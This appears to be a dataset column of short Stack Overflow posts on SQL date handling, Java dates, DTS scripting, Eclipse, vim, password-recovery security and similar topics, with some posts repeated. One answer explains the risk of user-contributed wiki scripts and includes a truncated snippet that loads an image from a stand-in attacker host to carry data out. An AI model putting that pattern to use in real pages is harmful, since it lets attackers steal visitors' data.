instruction
stringlengths
0
30k
you're looking at custom lockout code. There are applications in the open source world that contain various flavors of such code. Perhaps you should look at some of those, although your requirements are pretty trivial, so mark an IP/username combo, and utilize that for blocking an IP for x amount of time. (Note I said ...
SELECT DATEADD(dd, 0, DATEDIFF(dd, 0, @your_date)) for example SELECT DATEADD(dd, 0, DATEDIFF(dd, 0, GETDATE())) gives me 2008-09-22 00:00:00.000
SELECT DATEADD(dd, 0, DATEDIFF(dd, 0, @your_date)) for example SELECT DATEADD(dd, 0, DATEDIFF(dd, 0, GETDATE())) gives me 2008-09-22 00:00:00.000 **EDIT:** **Just wondering, why people keep downvoting my answer? Think it's incorrect? Prove it!**
SELECT DATEADD(dd, 0, DATEDIFF(dd, 0, @your_date)) for example SELECT DATEADD(dd, 0, DATEDIFF(dd, 0, GETDATE())) gives me 2008-09-22 00:00:00.000 Pros: - No varchar<->datetime conversions required - No need to think about locale **EDIT:** **Just wondering, why people keep ...
I did end up using tips from the linked article, which I'd already read through but didn't think would help me. The meat of it happens here, in a converter: <ValueConversion(GetType(ItemsPresenter), GetType(Orientation))> _ Public Class ItemsPanelOrientationConverter Implements IValueConverter ...
In order to distribute a function I've written that depends on other functions I've written that have their own dependencies and so on without distributing every m-file I have ever written, I need to figure out what the full list of dependencies for a given m-file is. Is there a built-in/freely downloadable way to do ...
If you are doing validation on the client and should have valid values once they are passed into the method (the web service call) then I would throw an exception. It could be an exception indicating that a parameters is invalid with the name of the parameter. (see: ArgumentException) But you may not want to rely on...
Filter on current date within Castor OQL
|java|castor|apache-cocoon|oql|
I'm running the java cocoon 2 and castor oql. I'm trying to filter my oql query by today's date, but I can't seem to figure out (or find in google) the syntax of the date. The database is mySql, but the oql is mapped by the java classes... so doing a search on field_date >= Now() doesn't work. Any ideas? I really ca...
[Joel Spolsky][1] wrote a good article: [Making Wrong Code Look Wrong][2] He specifically addresses this issue&hellip; > if (i != 0) > foo(i); > > In this case the code is 100% correct; > it conforms to most coding conventions > and there’s nothing wrong with it, but > the fact that the singl...
That's right: you can't do what you want to do in XML Schema, but you can in RELAX NG with: <element name="Root"> <interleave> <element name="ThingA"><empty /></element> <element name="ThingB"><empty /></element> <oneOrMore><element name="ThingC"><empty /></element></oneOrMore> ...
Does the ``--no-lock-tables`` option work? According to the man page, if you are dumping InnoDB tables you can use the ``--single-transaction`` option: --lock-tables, -l Lock all tables before dumping them. The tables are locked with READ LOCAL to allow concurrent inserts in the case of MyISAM...
In your given example, the numbers you want to compare have spaces around them while the other numbers do not, so why would a regular expression not work? bbb **12** ccc vs. eee 12 ddd **jpeg2000** eee
Only provide questions that aren't on the public record.
Authenticating everything by sending emails is a reasonably effective solution. (although, that might not have been workable for Yahoo in this case :)). Rather than messing about with security questions or other means to recover passwords, simply respond to password recover requests by sending an email to a predefin...
In modern Java version the instanceof operator is faster as a simple method call. This means: if(a instanceof AnyObject){ } is faster as: if(a.getType() == XYZ){ } Another thing is if you need to cascade many instanceof. Then a switch that only call once getType() is faster.
The reads are safe from a synchronization standpoint but not a memory standpoint. This is something that is widely misunderstood among Java developers including here on Stackoverflow. (Observe the rating of [this answer](http://stackoverflow.com/questions/84285/calling-threadstart-within-its-own-constructor#84937) for...
One of the uses of macros that blew my mind was the compile-time verification of SQL requests against DB. Once you realize you have the full language at hand at compile-time, it opens up interesting new perspectives. Which also means you can shoot yourself in the foot in interesting new ways (like rendering compilat...
My experience with RMI and Web Services mirrors your guesses above. In general, RMI's performance far exceeds web services, but the interface specification is explicitly stated for Web Services. Note that neither of these protocols _requires_ that the applications on both sides be Java. I would tend to use Web Ser...
One quite clean way to do "latest x by id" type queries is this. It should also be quite easy to index properly. SELECT id, revision, comment FROM comments WHERE (id, revision) IN ( SELECT id, MAX(revision) FROM comments -- WHERE clause comes here if needed GROUP BY id ...
Agree with [marxidad's answer][1], but see note 1. Note 1: IMHO, it is not wise to call `db.SubmitChanges()` in a helper method, because you may break the context transaction. This means that if you call the `InsertIfNotExists<TEntity>` in the middle of a complex update of several entities you are saving the changes...
Agree with [marxidad's answer][1], but see note 1. Note 1: IMHO, it is not wise to call `db.SubmitChanges()` in a helper method, because you may break the context transaction. This means that if you call the `InsertIfNotExists<TEntity>` in the middle of a complex update of several entities you are saving the changes...
I had to clean up a project wich many (duplicate/similar) queries riddled with injection vulnerabilities. The first steps I took were using placeholders and label every query with the object/method and source-line the query was created. (Insert the PHP-constants __METHOD__ and __LINE__ into a SQL comment-line) It...
Im using GregorianCalendar - always and everywhere. Simple java.util.Date is too complex, yeah. So, my advice is - use GC, its simple
You may (read I haven't tried this myself) to use an embedded object and type it accordingly.
I have found [IECapt][1] during my search which actually includes a C# implementation. Although it is by design a CLI application the source code is provided so I can likely modify it for my own needs. [1]: http://iecapt.sourceforge.net/
If the wiki authors are wise, there's probably no way to do this. The problem with user-contributed JavaScript is that it opens the door for all forms of evil-doers to grab data from the unsuspecting. Let's suppose evil-me posts a script on a public web site: i = new Image(); i.src = 'http://evilme.co...
A lot of programmers begin by using Date, which has numerous deprecated overloaded constructors (making it difficult to use), but once you figure out GregorianCalendar it becomes a little bit easier to manage. The example here is pretty helpful: [http://java.sun.com/j2se/1.4.2/docs/api/java/util/GregorianCalendar.ht...
You would need to actually load them into a table, then you can use a SQL task to move it from that table into the perm location if you must make a translation. however, I have found that if working with a stored procedure to source the data, it is almost just as fast and easy to move it to its destination at the sa...
I'd say the most common choices are: 1. [JSON][1] ([offical site][2]) - very flexible, though the punctuation can take a bit for people to get used to 2. [INI][3] - super simple to use, but a bit limited in data-types 3. [XML][4] - pretty flexible, common, but way too verbose sometimes [1]: http://en.wi...
<a href="http://mike-java.blogspot.com/2008/02/java-date-time-api-vs-joda.html">This post</a> has a good discussion on comparing the Java Date/Time API vs JODA. I personally just use <a href="http://java.sun.com/j2se/1.4.2/docs/api/java/util/GregorianCalendar.html">Gregorian Calendar</a> and <a href="http://java.sun...
Game UI HUD
|user-interface|hud|
What are some good tools and techniques for making in game UI? I'm looking for things that help artists-types create and animate game HUD (heads up display) UI and can be added to the game engine for real time playback.
How can I create a human-readable script for every DTS package on a SQL server?
|sql|server|package|dts|2000|
I know I can edit each individual DTS package and save it as a Visual Basic script, but with hundreds of packages on the server, that will take forever. How can I script them all at once? I'd like to be able to create one file per package so that I can check them into source control, search them to see which one refe...
|package|sql-server-2000|dts|
As good as monitoring the memory is by itself, you're probably thinking of memory profiling to identify leaks or stale objects - <http://memprofiler.com/> is a good choice here, but there are plenty of others. If you want to do something very specific, don't be afraid to write your own WMI-based logger running on a ...
Just require a pass code to be sent in using a function call and if it hasn't been authorized then nothing works, like .setAuthorizeCode('123456') then in every single place that can be used have it check if authorizeCode != 123456 then throw error or just exit out... It doesn't sound like a good answer for re-usabili...
Do this...Instead of trying to debug by hitting F5 - Go to Tools - Attach to Process - Click View Processes from all users - Ensure you are selected only for Managed Code - Select "W3WP.EXE". This is the ASP.NET Worker process. - Click attach. - You are now attached and debugging, go refresh the ...
Slightly offtopic (as this is not about Spring) but there is a race condition in your implementation of AddListener: if( ( listeners = map.get( eventType ) ) == null ) { listeners = new java.util.concurrent.CopyOnWriteArrayList<Listener>(); map.put( eventType, listeners ); } l...
I use Red Gate Sql Compare for comparing schemas. It also has an interesting feature that allows you to save a snapshot of the schema which you can then use in later diffs. for example compare the schema of today with the schema of a month ago.
For catching exceptions in Rails 2, `rescue_from` controller method is a great way to specify actions which handle various cases. class ApplicationController < ActionController::Base rescue_from MyAppError, :with => :show_errors def show_errors render :action => "..." end ...
Hm - if you use shadows the GPU should be under load, so it's unlikely that the GPU renders the frames faster than the CPU sends graphic data. In this case 100% load is ok and even expected. It could simply be a borked OpenGL driver that does burns CPU-cycles in a spinlock somewhere. To find out what's exactly going...
Hm - if you use shadows the GPU should be under load, so it's unlikely that the GPU renders the frames faster than the CPU sends graphic data. In this case 100% load is ok and even expected. It could simply be a borked OpenGL driver that does burns CPU-cycles in a spinlock somewhere. To find out what's exactly going...
An important part of DDD is the so called ubiquitous language; i.e. speak the same language as the business experts. And make your code / architecture so that it reflects this language to avoid impedance problems.
How to choose the max thread count for an HTTP servlet container?
|java|servlets|concurrency|http|
I'm developing a restful Web service that runs as a servlet (using blocking IO) in Jetty. Figuring out the optimal setting for max threads seems hard. Is there a researched formula for deciding the max number of threads from some easily measurable characteristics of the rest of the setup?
|java|optimization|http|concurrency|servlets|
The true answer is, there isn't a fool proof way to keep hackers out. I hate security questions, but if your going to use them, allow for user defined security questions. As a user, if I must have a security question on a site to set up an account, I really like having the ability to setup my own security question to...
How can I disable the eclipse server startup timeout?
|eclipse|eclipse-wtp|
By default when using a webapp server in Eclipse Web Tools, the server startup will fail after a timeout of 45 seconds. I can increase this timeout in the server instance properties, but I don't see a way to disable the timeout entirely (useful when debugging application startup). Is there a way to do this?
Pitfalls that we've run into: - While you can get a lot of mileage from using something like GWT EXT, any time you use this sort of thin veneer on top of a JavaScript library, you lose the ability to debug. More than once I've bashed my head on the desk because I cannot inspect (inside my IntelliJ debugger) what'...
DOS and exit codes from applications generally use 0 to mean success and non-zero to mean failure of some type! DOS error codes are 0-255 and when tested using the 'errorlevel' syntax mean anything above or including the specified value, so the following matches 2 and above to the first goto, 1 to the second and 0...
#Icon ##Recursive function procedure factorial(n) return (0<n) * factorial(n-1) | 1 end I've cheated a bit allowing negatives to return 1. If you want it to fail given a negative argument it's slightly less concise: return (0<n) * factorial(n-1) | (n=0 & 1) Then write(factorial(3)) write(factoria...
#Icon ##Recursive function procedure factorial(n) return (0<n) * factorial(n-1) | 1 end I've cheated a bit allowing negatives to return 1. If you want it to fail given a negative argument it's slightly less concise: return (0<n) * factorial(n-1) | (n=0 & 1) Then write(factorial(3)) write(factoria...
#Icon ##Recursive function procedure factorial(n) return (0<n) * factorial(n-1) | 1 end I've cheated a bit allowing negatives to return 1. If you want it to fail given a negative argument it's slightly less concise: return (0<n) * factorial(n-1) | (n=0 & 1) Then write(factorial(3)) write(factoria...
Slightly offtopic (as this is not about Spring) but there is a race condition in your implementation of AddListener: if( ( listeners = map.get( eventType ) ) == null ) { listeners = new java.util.concurrent.CopyOnWriteArrayList<Listener>(); map.put( eventType, listeners ); } l...
Slightly offtopic (as this is not about Spring) but there is a race condition in your implementation of AddListener: if( ( listeners = map.get( eventType ) ) == null ) { listeners = new java.util.concurrent.CopyOnWriteArrayList<Listener>(); map.put( eventType, listeners ); } l...
One option is to use Flash in conjunction with a package called ScaleForm. This allows the artist to make the UI in flash and then ScaleForm executes the flash in game.
It's a known enhancement request. [Bug 35779][1] [1]: https://bugs.eclipse.org/bugs/show_bug.cgi?id=35779
Auto-indent spaces with C in vim?
|c|vim|coding-style|vi|
I've been somewhat spoiled using Eclipse and java. I started using vim to do C coding in a linux environment, is there a way to have vim automatically do the proper spacing for blocks? So after typing a { the next line will have 2 spaces indented in, and a return on that line will keep it at the same indentation,...
Are you running on Vista or Server 2008? I'm not sure about Vista, but when I was running Server 2008 I had permission errors when trying to debug when I launched VS as my regular user. The solution for me was right-clicking on the VS icon and selecting 'Run as Administrator'.
HSV ( Hue / Saturation / Value ) also called HSL ( Hue / Saturation / Lightness ) is just a different color representation. Using this representation is it easier to adjust the brightness. So convert from RGB to HSV, brighten the 'V', then convert back to RGB. Below is some C code to convert void RGBToHS...
when its not an email system, email them a link to a secure page, with a hash that must come back in the query string to reset password. Then if someone tried to reset your password, you would know, and they wouldn't be able to guess the hash potentially. We use 2 guids multiplied together, represented as hex.
I would not use HEREDOC at all for this, personally. It just doesn't make for a good "template building" system. All your HTML is locked down in a string which has several disadvantages - No option for WSYIWYG - No code completion for HTML from IDEs - Output (HTML) locked to logic files - You end up hav...
The insecurity of so-called "security questions" has been known for a long time. As [Bruce Schneier puts it][1]: > The result is the normal security protocol (passwords) falls back to a much less secure protocol (secret questions). And the security of the entire system suffers. > What can one do? My usual tech...
always send the password reset to a registered email account (which is tricky for an email account) or send a PIN number to a registerd mobile phone, or a link to a IM address, etc - basically, capture some secondary contact information on registration and use it to send a 'password reset' link. Never let anyone cha...
I always set my default prompt to "username@hostname:/current/path/name/in/full> " PS1='\u@\h:\w> ' export PS1 Saves lots of confusion when you're dealing with lots of different machines.
If you are talking about the assembly from your other question, you can simply use wbemtest.exe: - Connect to Root namespace - Enum instances... button (Superclass name: __Namespace) - Delete instance named Test or MyTest That will delete the entire namespace including all the classes you created. If...
I think most likely what I'm going to use is typed datasets. It won't be a generalized solution; we'll have to regenerate them if any of the tables change. But based on what I've been told, that's not a problem; the tables aren't expected to change much. Datasets will make it reasonably easy to loop through the da...
I have no issues with Debian on a 64 bit platform. The only issues I've had with 64 bit linux environments is related to things like the flash plugin for Firefox. Edit: I used Debian on a server and a laptop. The firefox problem was only on the laptop. (For obvious reasons)
You could get rid of your `dbo.d_agent_define` subquery and just add in a join to the agent define table. Would this code work? select list_name, app_name, map.fname + ' ' + map.lname as agent_login, input, convert(varchar,dateadd(ss,TAC_BEG_tstamp,'01/01/1970')) as tac_seconds from dbo...
vi or gvim if you don't like terminals.
Two Phase Commit/Shared Transaction
|java|oracle-database|perl|jboss|
The scenario is this We have two applications A and B, both which are running in separate database (Oracle 9i ) transactions Application A - inserts some data into the database, then calls Application B Application B - inserts some data into the database, related (via foreign keys) to A's data. Returns an "ID"...
NTFS supports mounting volumes inside directories. Example - instead of mounting an external drive as `D:`, you can mount it under `C:\mountedVolumes\externalHardDrive` You can then use ACL's on the parent folder (`mountedVolumes`) to prevent users other than yourself from accessing it. If they can't get into the...
I think the safest bet at this point is to opt out of IE8 rendering; if you use the "IE7 mode" tag on your pages, even when IE8 comes out, it will still use the IE7 rendering, so you won't be left with surprises.
There's a list of sort algorithms on [Wikipedia][1]. It includes categorization by execution time, stability, and allocation. [1]: http://en.wikipedia.org/wiki/Sorting_algorithm#List_of_sorting_algorithms Your best bet is probably going to be modifying an efficient unstable sort to be stable, thereby making it ...
Have a look at the [Microsoft SQL Server Database Publishing Wizard][1]: > SQL Server Database Publishing Wizard > enables the deployment of SQL Server > databases into a hosted environment on > either a SQL Server 2000 or 2005 > server. It generates a single SQL > script file which can be used to > recreate a...
This is exactly what the STL algorithms are for. This is not an abuse at all. Furthermore, it is very readable. Redirect to null anyone who tells you otherwise.
Recommended WPF Calendar
|.net|wpf|
What WPF Calendar control would you recommend? I am looking for something that will let me display a variable amount of weeks potentially spanning multiple months.
Following on from [onebyone][1]'s answer there's a big difference between optimising the code and optimising the algorithm. Yes, at this stage optimising the code is going to be of questionable benefit. You don't know where the real bottlenecks are, you don't know if there is going to be a speed problem in the first...
I would suggest using something WiX (windows installer XML). Its the toolkit most products from codeplex or OOB code drops use, and its pretty easy to get the hang of. There's also (in version 3) an IDE add-in called Votive to help make things 'easier'. Personally I find using WiX more flexible then using the bui...
"Could not find file" when using isolated storage
|.net|c#|
I'm saving some stuff in an IsolatedStorageFile. It works well and I can retrieve the saved values when calling the saving and retrieving methods in my DAL layer from my GUI layer. However, when I try to retrieve the same settings from another assembly in the same project, it gives me a FileNotFoundException. What do I...
I'm saving some stuff in an IsolatedStorageFile. It works well and I can retrieve the saved values when calling the saving and retrieving methods in my DAL layer from my GUI layer. However, when I try to retrieve the same settings from another assembly in the same project, it gives me a FileNotFoundException. What do I...
|c#|.net|
I'm saving some stuff in an IsolatedStorageFile. It works well and I can retrieve the saved values when calling the saving and retrieving methods in my DAL layer from my GUI layer. However, when I try to retrieve the same settings from another assembly in the same project, it gives me a FileNotFoundException. What do I...
This is not possible with Response.Redirect as it happens on the server side and cannot direct your browser to take that action. What would be left in the initial window? A blank page?